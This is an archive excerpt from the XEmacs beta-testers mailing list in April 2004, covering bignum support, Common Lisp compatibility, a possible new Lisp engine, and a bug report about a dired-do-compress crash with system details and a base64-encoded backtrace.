List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > Mike claims to have an Elisp translator targeted to Scheme48 that is > competitive with XEmacs native benchmarks. FYI, there are two Emacs Lisp -> Common Lisp translators. > You said add, subtract, multiply, divide, modulus isn't enough. For > CLtL2, at least, conforming means supporting ISQRT, and I thought > there were other irrational functions that are required to return a > rational. Turns out ISQRT is the only one, but I didn't realize that. > So I guess the only other function you want is positive integral > exponentiation, but I didn't know that. EXPT of a rational by an integer is required to be exact, so e.g. (expt 1/2 -1) => 2. I'm only a humble outsider, but it seems to me that XEmacs is getting closer and closer to Common Lisp (characters, bit-vectors, now bignums). Is compatability with CLtL2, where possible, a goal? -- Lars Brinkhoff, Services for Unix, Linux, GCC, HTTP Brinkhoff Consulting http://www.brinkhoff.se/ From xemacs-beta-admin@xemacs.org Wed Apr 21 10:59:29 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LEx7s18428; Wed, 21 Apr 2004 10:59:07 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LEwlp18128 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 10:58:47 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LEwjV18103 for turnbull@tux.org; Wed, 21 Apr 2004 10:58:45 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3LEwis18088 for ; Wed, 21 Apr 2004 10:58:45 -0400 Received: (qmail 16099 invoked from network); 21 Apr 2004 16:58:44 +0200 X-Remote-IP: 213.191.128.12 Received: from mx.iskon.hr (qmailr@213.191.128.12) by mxout2.iskon.hr with SMTP; 21 Apr 2004 16:58:44 +0200 Received: (qmail 14565 invoked from network); 21 Apr 2004 16:58:43 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 21 Apr 2004 16:58:43 +0200 To: "Stephen J. Turnbull" Cc: XEmacs beta Subject: Re: Bignums and stuff References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Wed, 21 Apr 2004 17:00:50 +0200 In-Reply-To: <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 21 Apr 2004 22:17:04 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: >>>>>> "Hrvoje" == Hrvoje Niksic writes: > > Hrvoje> Actually, it's one of the fastest interpreters around. > Hrvoje> Last time I checked, XEmacs was significantly faster than > Hrvoje> Python, Perl, librep, FSF Emacs, and the likes. > > Well, the issue isn't how fast we can execute no-ops, it's how fast we > can do useful work. I still think we're as fast as the others I mentioned. But, before Michael criticizes me, I'll note that I intentionally mentioned the (more or less) *popular* interpreters, not the competently implemented ones. So yes, we could be a lot faster. It doesn't mean that it's OK to arbitrarily slow down the current code base while waiting for a "Lisp engine switch" or whatever. > The question is what functions have to return integers to "support" > bignums the way the other languages you mention do? I don't really understand the question. We already have all the needed code, Jerry added it. What I'm talking about is making --use-bignums mandatory and shipping a bignum implementation (such as GNU MP) with the source to cater to people who don't have one. Since we're not making bignums mandatory any time soon, by popular opinion, the context of the discussion is irrelevant. > You said add, subtract, multiply, divide, modulus isn't enough. When did I say that? I think we're talking about completely and wildly different things. The sheer magnitude of the misunderstanding is astounding. :-) > Hrvoje> You're missing the point. See my previous post for the > Hrvoje> context of this whole discussion. Since you vetoed > Hrvoje> relying on bignums, the context of needing to ship a > Hrvoje> bignum implementation is obsolete. > > Where did I do that? I said there's no hurry, but that depends on > (a) what you mean by relying on bignums, which turns out to be > basically what I had in mind, and (b) who's volunteering to do the > work. "There's no hurry" == veto in the present That's OK, though. It was just an idea. > This is what I had in mind: > > static EMACS_INT some_variable; > Fixnum another; > DEFVAR_FULLINT ("some-variable", &some_variable ...); > > another = some_variable; > > Of course the compiler can't catch that at all, no matter what the > Lisp_Object representation is. Exactly; this is why I was confused by your reference to union type. But the nice thing would be that, if DEFVAR_FULLINT turns out to work well, *all* (or the large majority of) our variables might become DEFVAR_FULLINT. Then that problem goes away. From xemacs-beta-admin@xemacs.org Wed Apr 21 11:18:16 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LFI2s03429; Wed, 21 Apr 2004 11:18:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LFHrA03269 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 11:17:53 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LFHpD03244 for turnbull@tux.org; Wed, 21 Apr 2004 11:17:51 -0400 Received: from deliver.epitech.net (deliver.epitech.net [163.5.0.25]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3LFHos03203; Wed, 21 Apr 2004 11:17:50 -0400 Received: from epita.fr ([10.42.1.60]) by deliver.epitech.net (SAVSMTP 3.1.2.35) with SMTP id M2004042117141401367 ; Wed, 21 Apr 2004 17:14:14 +0200 Received: from kualalumpur.lrde.epita.fr (kualalumpur.lrde.epita.fr [10.223.13.1]) by epita.fr id i3LFHlD26590 Wed, 21 Apr 2004 17:17:47 +0200 (CEST) Received: from debian.lrde.epita.fr ([10.223.13.53] helo=uzeb.lrde.epita.fr ident=mail) by kualalumpur.lrde.epita.fr with esmtp (Exim 3.36 #1 (Debian)) id 1BGJUD-0005Ba-00; Wed, 21 Apr 2004 17:18:05 +0200 Received: from didier by uzeb.lrde.epita.fr with local (Exim 3.36 #1 (Debian)) id 1BGJTo-0003GR-00; Wed, 21 Apr 2004 17:17:40 +0200 To: "Stephen J. Turnbull" Cc: Hrvoje Niksic , XEmacs beta Subject: XEmacs lisp engine (was: Bignums and stuff) X-Attribution: dvl X-Url: http://www.lrde.epita.fr/~didier X-Web: http://www.lrde.epita.fr/~didier X-Home-Page: http://www.lrde.epita.fr/~didier In-Reply-To: <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 21 Apr 2004 22:17:04 +0900") References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> <873c6xrgc0.fsf@tleepslib.sk.tsukuba.ac.jp> <87y8opo4hb.fsf@tleepslib.sk.tsukuba.ac.jp> Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAElBMVEWWi12vpYhJNB1vXjMp DwXl2MRQpY/lAAACaklEQVR4nGWUQZLjIAxFZRPvoT3sHckHkJGzz2AfIEwX97/KfJy4k6khqVSF xxfwJUE7xra23/3uYwnnoDbz+9cBrs+pWNs4wPWS9zmTM+viP4prn/fJmxqzhlAPCQVPTrucNZAn m3N3Kph5Vtrmri0rfr5HCEoLlZknt0l9Dn9KmoKV/O0F6te1xDdI4ZyvJX0qxuGcD3Fc3oAe8Vwf 4mP63OMnUAjFuh9wXT5AcMtbMXzMh/4N7AShRemv/yuObZ0dYJb0A0ISiaGXEkslVr+62M5ZHwlO T8HlZyilNMbg5qmOsJ2n2OcBEuJ7sDHG4uQAyUJ/+Eh8e2g/1MBcR953tq7Py5HBLZAbHshq/Vq3 xLz0ezOFMrx1Nxy01jF1IxQjL0eixAlAQQZHnJWo8yadB5hGgVUtIWOzzwdvSMlAQiQvDx+GGNSA 946yyaSvfDst3oiSApIIaauQUgs5CWZKl0kJH3N25KmMKUkH4JJO5MjcCdyc0+JQj6aoApKOnqB+ AwhWmXbYiGzpzZ6m+yxsGOpbqMlZr2dJMUsDuKWh9hNLu16hlRtQxd0s4Zt4MmRJI9zN0gRm2Uh7 4ykNtSCL7gjV2mRnEoc/PKBbcEFjESPOAsB5gvLW2mgEQCzH4Cvh17CqtWRpuYXEXNaV+mbWE2AT tNHd0HAmBCEuS9pO7GfUjyZbN2NKaDU1/aPYvdUVFlveLneaM6dsy3eGq8crYVlmuWxQpB2u1nmf j+fBdJekKyzJTrZ+qeMx3a6OO9glHUBsqeX50DAUWXUVYvFmcn0dCWBJWaYElTqYgjYvfXsLWNTP rDL/BTRyxjUEULoPAAAAAElFTkSuQmCC X-Face: Yege`pKP,!,TY._G%P!T$iD.!!%!G_PD}#}*d|*3bC^AZp6J5s"")#]>]lPwoiwa{PI}v5;N~1)qQZR */rOs"B"^n68&DHpKu[@2mF&Uc{*wt]m!]f\Y-TfP From: Didier Verna Mail-Copies-To: never Date: Wed, 21 Apr 2004 17:17:40 +0200 Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i3LFHos03203 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Stephen J. Turnbull wrote: > Mike claims to have an Elisp translator targeted to Scheme48 that is > competitive with XEmacs native, on his set of benchmarks. Is there a chance that XEmacs will have a real lisp engine instead of elisp in a (how distant ?) future ? -- Didier Verna, didier@lrde.epita.fr, http://www.lrde.epita.fr/~didier EPITA / LRDE, 14-16 rue Voltaire Tel.+33 (1) 44 08 01 85 94276 Le Kremlin-Bicêtre, France Fax.+33 (1) 53 14 59 22 didier@xemacs.org From xemacs-beta-admin@xemacs.org Wed Apr 21 11:44:13 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LFi2s27707; Wed, 21 Apr 2004 11:44:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LFhI926918 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 11:43:18 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LFhEk26854 for turnbull@tux.org; Wed, 21 Apr 2004 11:43:14 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LFhDs26836 for ; Wed, 21 Apr 2004 11:43:13 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id 2CD07AEDF for ; Wed, 21 Apr 2004 17:43:04 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id 040D8AE42 for ; Wed, 21 Apr 2004 17:43:04 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BGJpe-0002lr-00 for ; Wed, 21 Apr 2004 17:40:14 +0200 From: giacomo boffi To: XEmacs Beta Subject: [Bug: 21.5-b17] dired-do-compress crashes xemacs Reply-To: giacomo.boffi@polimi.it Message-Id: Date: Wed, 21 Apr 2004 17:40:14 +0200 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! i have a file i'd like to gzip, so i open its directory in a dired buffer, place the cursor on the file to compress, press "Z" and finally i answer "yes" to the prompt at this point xemacs dies i have to mention that the file was properly compressed, and i can edit it with xemacs and jka-compr i have a lisp backtrace but no core --- let me know if a c bactrace is necessary here it is the backtrace: [ATTACHMENT ~/backtrace, application/octet-stream] ciao gb ps: i have submitted an equivalent bug report to the dired mantainers ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux boffi95 2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux ./configure '--extra-verbose' '--rel-alloc' '--with-widgets' '--with-athena=3d' '--debug' '--pdump' '--with-wmcommand=no' '--with-sound=no' '--error-checking=all' '--with-mule' XEmacs 21.5-b17 "chayote" (+CVS-20040411) configured for `i686-pc-linux'. Compilation Environment and Installation Defaults: Source code location: /home/boffi/src/xemacs-21.5 Installation prefix: /usr/local Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler version: gcc (GCC) 3.3.3 (Debian 20040401) - GCC specs file: /usr/lib/gcc-lib/i486-linux/3.3.3/specs - Compiler command: gcc -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wshadow -Wmissing-declarations -g -O3 libc version: GNU libc 2.3.2.ds1-11 (Debian) Relocating allocator for buffers: yes GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw3d - Athena library to link: Xaw3d Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Compiling in support for GPM (General Purpose Mouse). Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Databases: Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- Load-Path Lisp Shadows: ---------------------- (/home/boffi/.xemacs/mule-packages/lisp/mule-base/ethio-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/ethio-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/china-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/china-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/cyril-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/cyril-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/korea-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/korea-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/viet-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/viet-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/japan-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/japan-util /home/boffi/.xemacs/mule-packages/lisp/mule-ucs/unicode /usr/local/lib/xemacs-21.5-b17/lisp/unicode) Installed XEmacs Packages: ------------------------- (xwem ver: 1.08 upstream: 0.1) (xlib ver: 1.08 upstream: 0.1) (xemacs-base ver: 1.86 upstream: No-Upstream-Ver) (x-symbol ver: 1.1 upstream: 4.5.1) (vm ver: 7.18 upstream: 7.17) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.77 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (scheme ver: 1.14 upstream: No-Upstream-Ver) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (reftex ver: 1.34 upstream: 4.21) (python-modes ver: 1.06 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.1 upstream: 6.5.6) (prog-modes ver: 1.96 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (net-utils ver: 1.42 upstream: N/A) (mmm-mode ver: 1.02 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.65 upstream: No-Upstream-Ver) (ispell ver: 1.29 upstream: 3.6) (hm--html-menus ver: 1.23 upstream: 5.9) (gnus ver: 1.79 upstream: 5.10.6) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (fortran-modes ver: 1.04 upstream: No-Upstream-Ver) (footnote ver: 1.16 upstream: 0.18x) (efs ver: 1.32 upstream: 1.22) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.5 upstream: 2.75) (ecrypto ver: 0.17 upstream: 2.0) (ecb ver: 1.18 upstream: 2.24) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (cookie ver: 1.15 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.2 upstream: No-Upstream-Ver) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (mule-ucs ver: 1.05 upstream: 0.84) (mule-base ver: 1.46 upstream: No-Upstream-Ver) (latin-unity ver: 1.09 upstream: 1.09) Installed Modules: ----------------- Features: -------- (mail-abbrevs xemacsbug shadow sendmail rfc822 efs-cu dired-faces dired-xemacs dired gnuserv paren blink-paren func-menu bbdb timezone font-lock cus-face jka-compr tex-site smiley annotations messagexmas nnheader nnheaderxm gnus-util netrc time-date parse-time mm-util mail-prsvr mail-utils x-compose filladapt view-less view mwheel xwem-autoloads xwem-compat xwem-keyboard edmacro xlib-xtest xlib-xc xwem-macros xlib-math xlib-autoloads xemacs-base-autoloads x-symbol-autoloads vm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads sh-script-autoloads scheme-autoloads sasl-autoloads ruby-modes-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads os-utils-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mailcrypt-autoloads mail-lib-autoloads ispell-autoloads hm--html-menus-autoloads gnus-autoloads general-docs-autoloads fsf-compat-autoloads fortran-modes-autoloads footnote-autoloads efs-autoloads edit-utils-autoloads ediff-autoloads ecrypto-autoloads ecb-autoloads dired-autoloads dictionary-autoloads debug-autoloads cookie-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads bbdb-autoloads auctex-autoloads mule-ucs-autoloads mule-base-autoloads latin-unity-autoloads modules-autoloads mule-autoloads lisp-autoloads loadhist rsz-minibuf auto-show fontl-hooks x-iso8859-1 tibetan lao devanagari indian slovenian czech romanian ccl code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode lucid-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar scrollbar unix-processes multicast network-streams subprocesses modules menu-accelerator-support menubar md5 xemacs xim mule gutter tiff png gif jpeg xface xpm xbm lisp-float-type file-coding linux dialog devices window-system base64) Recent keystrokes: ----------------- C-x d up S t TAB RET next down down down down down down down RET C-x C-a M-> C-x = C-x k RET M-x r e p TAB TAB o TAB x TAB RET Recent messages (most recent first): ----------------------------------- Auto save file for draft message exists; consider M-x mail-recover Parsing /home/boffi/.mailrc... done Parsing /home/boffi/.mailrc... Loading xemacsbug...done Loading xemacsbug... Making completion list... point=476734 of 476733(100%) column 0 C-x C-a not defined. Loading efs-cu...done Loading efs-cu... unzipping 20040415.csv.gz...done unzipping 20040415.csv.gz... Reading directory /home/boffi/StampePiola/...done Reading directory /home/boffi/StampePiola/... No preceding item in file-name-history Loading dired...done Loading dired-mule...done Loading dired-mule... Loading dired... Loading gnuserv...done From xemacs-beta-admin@xemacs.org Wed Apr 21 11:59:14 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LFx3s10282; Wed, 21 Apr 2004 11:59:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LFw2H08959 for xemacs-beta-mailman@xemacs.org; Wed, 21 Apr 2004 11:58:02 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3LFvwI08866 for turnbull@tux.org; Wed, 21 Apr 2004 11:57:58 -0400 Received: from satana.stru.polimi.it (satana.stru.polimi.it [131.175.189.180]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3LFvvs08846 for ; Wed, 21 Apr 2004 11:57:57 -0400 Received: from satana (localhost [127.0.0.1]) by satana (Postfix) with SMTP id 9020AAEF7; Wed, 21 Apr 2004 17:57:52 +0200 (CEST) Received: from boffi95 (boffi95.stru.polimi.it [131.175.189.141]) by satana.stru.polimi.it (Postfix) with ESMTP id 589F2AEE3; Wed, 21 Apr 2004 17:57:52 +0200 (CEST) Received: from boffi by boffi95 with local (Exim 3.36 #1 (Debian)) id 1BGK3z-0002nV-00; Wed, 21 Apr 2004 17:55:03 +0200 From: giacomo boffi MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="+7ATZUv2oz" Content-Transfer-Encoding: 7bit Message-ID: <16518.39254.552785.9300@gargle.gargle.HOWL> Date: Wed, 21 Apr 2004 17:55:02 +0200 To: giacomo.boffi@polimi.it Cc: XEmacs Beta Subject: [Bug: 21.5-b17] dired-do-compress crashes xemacs In-Reply-To: References: X-Mailer: VM 7.17 under 21.5 (beta17) "chayote" (+CVS-20040411) XEmacs Lucid Reply-To: giacomo.boffi@polimi.it X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --+7ATZUv2oz Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit giacomo boffi writes: > here it is the backtrace: > > [ATTACHMENT ~/backtrace, application/octet-stream] ahem... --+7ATZUv2oz Content-Type: application/octet-stream Content-Disposition: attachment; filename="backtrace" Content-Transfer-Encoding: base64 RmF0YWwgZXJyb3IgKDEzKS4KCllvdXIgZmlsZXMgaGF2ZSBiZWVuIGF1dG8tc2F2ZWQuClVz ZSBgTS14IHJlY292ZXItc2Vzc2lvbicgdG8gcmVjb3ZlciB0aGVtLgoKWW91ciB2ZXJzaW9u IG9mIFhFbWFjcyB3YXMgZGlzdHJpYnV0ZWQgd2l0aCBhIFBST0JMRU1TIGZpbGUgdGhhdCBt YXkgZGVzY3JpYmUKeW91ciBjcmFzaCwgYW5kIHdpdGggbHVjayBhIHdvcmthcm91bmQuICBQ bGVhc2UgY2hlY2sgaXQgZmlyc3QsIGJ1dCBkbyByZXBvcnQKdGhlIGNyYXNoIGFueXdheS4K ClBsZWFzZSByZXBvcnQgdGhpcyBidWcgYnkgaW52b2tpbmcgTS14IHJlcG9ydC1lbWFjcy1i dWcsIG9yIGJ5IHNlbGVjdGluZwpgU2VuZCBCdWcgUmVwb3J0JyBmcm9tIHRoZSBIZWxwIG1l bnUuICBJZiB0aGF0IHdvbid0IHdvcmssIHNlbmQgb3JkaW5hcnkKZW1haWwgdG8gYGNyYXNo ZXNAeGVtYWNzLm9yZycuICAqTUFLRSBTVVJFKiB0byBpbmNsdWRlIHRoaXMgZW50aXJlIG91 dHB1dApmcm9tIHRoaXMgY3Jhc2gsIGVzcGVjaWFsbHkgaW5jbHVkaW5nIHRoZSBMaXNwIGJh Y2t0cmFjZSwgYXMgd2VsbCBhcyB0aGUKWEVtYWNzIGNvbmZpZ3VyYXRpb24gZnJvbSBNLXgg ZGVzY3JpYmUtaW5zdGFsbGF0aW9uIChvciBlcXVpdmFsZW50bHksIHRoZQpmaWxlIGBJbnN0 YWxsYXRpb24nIGluIHRoZSB0b3Agb2YgdGhlIGJ1aWxkIHRyZWUpLgoKKlBsZWFzZSogdHJ5 ICpoYXJkKiB0byBvYnRhaW4gYSBDIHN0YWNrIGJhY2t0cmFjZTsgd2l0aG91dCBpdCwgd2Ug YXJlIHVubGlrZWx5CnRvIGJlIGFibGUgdG8gYW5hbHl6ZSB0aGUgcHJvYmxlbS4gIExvY2F0 ZSB0aGUgY29yZSBmaWxlIHByb2R1Y2VkIGFzIGEgcmVzdWx0Cm9mIHRoaXMgY3Jhc2ggKG9m dGVuIGNhbGxlZCBgY29yZScgb3IgYGNvcmUuPHByb2Nlc3MtaWQ+JywgYW5kIGxvY2F0ZWQg aW4KdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB5b3Ugc3RhcnRlZCBYRW1hY3Mgb3IgeW91ciBo b21lIGRpcmVjdG9yeSksIGFuZCB0eXBlCgogIGdkYiAvdXNyL2xvY2FsL2Jpbi94ZW1hY3Mg Y29yZQoKdGhlbiB0eXBlIGB3aGVyZScgYXQgdGhlIGRlYnVnZ2VyIHByb21wdC4gIE5vIEdE QiBvbiB5b3VyIHN5c3RlbT8gIFlvdSBtYXkKaGF2ZSBEQlgsIG9yIFhEQiwgb3IgU0RCLiAg KEFzayB5b3VyIHN5c3RlbSBhZG1pbmlzdHJhdG9yIGlmIHlvdSBuZWVkIGhlbHAuKQpJZiBu byBjb3JlIGZpbGUgd2FzIHByb2R1Y2VkLCBlbmFibGUgdGhlbSAob2Z0ZW4gd2l0aCBgdWxp bWl0IC1jIHVubGltaXRlZCcpCmluIGNhc2Ugb2YgZnV0dXJlIHJlY3VycmFuY2Ugb2YgdGhl IGNyYXNoLgoKTGlzcCBiYWNrdHJhY2UgZm9sbG93czoKCiAgIyAodW53aW5kLXByb3RlY3Qg Li4uKQogICMgKHVud2luZC1wcm90ZWN0IC4uLikKICAjICh1bndpbmQtcHJvdGVjdCAuLi4p CiAgIyAodW53aW5kLXByb3RlY3QgLi4uKQogICMgKHVud2luZC1wcm90ZWN0IC4uLikKICAj ICh1bndpbmQtcHJvdGVjdCAuLi4pCiAgIyAodW53aW5kLXByb3RlY3QgLi4uKQogICgiZXhl Y3V0ZV9pbnRlcm5hbF9ldmVudCgpIiAiW2ludGVybmFsXSIpCiAgIyAodW53aW5kLXByb3Rl Y3QgLi4uKQogIHByb2Nlc3Mtc2VuZC1yZWdpb24oIzxwcm9jZXNzICIqY2FsbC1wcm9jZXNz KiIgcGlkIDEwNjEwIHN0YXRlOmV4aXQ+IDEgNDc2NzM0ICM8YnVmZmVyICIqY2FsbC1wcm9j ZXNzKiI+KQogIGJ5dGUtY29kZSgiLi4uIiBbZGlzcGxheSBlb2Ytc2VudCBlbmQgc3RhcnQg aW5idWYgcHJvYyBwcm9jZXNzLXNlbmQtcmVnaW9uIHByb2Nlc3Mtc2VuZC1lb2YgdCBhY2Nl cHQtcHJvY2Vzcy1vdXRwdXQgcHJvY2Vzcy1zeW5jaHJvbml6ZS1wb2ludCBzaXQtZm9yIDBd IDUpCiAgIyAoY29uZGl0aW9uLWNhc2UgLi4uIC4gKChxdWl0IChieXRlLWNvZGUgIoDDgMRc blwij6gJgKyPpIDFXG4hj6iAxlxuIY+ogMdcbiGPqAiAq3WAyIDJIY+ogKpvIiBbZGlzcGxh eSBlb2Ytc2VudCBwcm9jIHByb2Nlc3Mtc2VuZC1zaWduYWwgU0lHSU5UIHByb2Nlc3Mtc2Vu ZC1lb2YgYWNjZXB0LXByb2Nlc3Mtb3V0cHV0IHByb2Nlc3Mtc3luY2hyb25pemUtcG9pbnQg 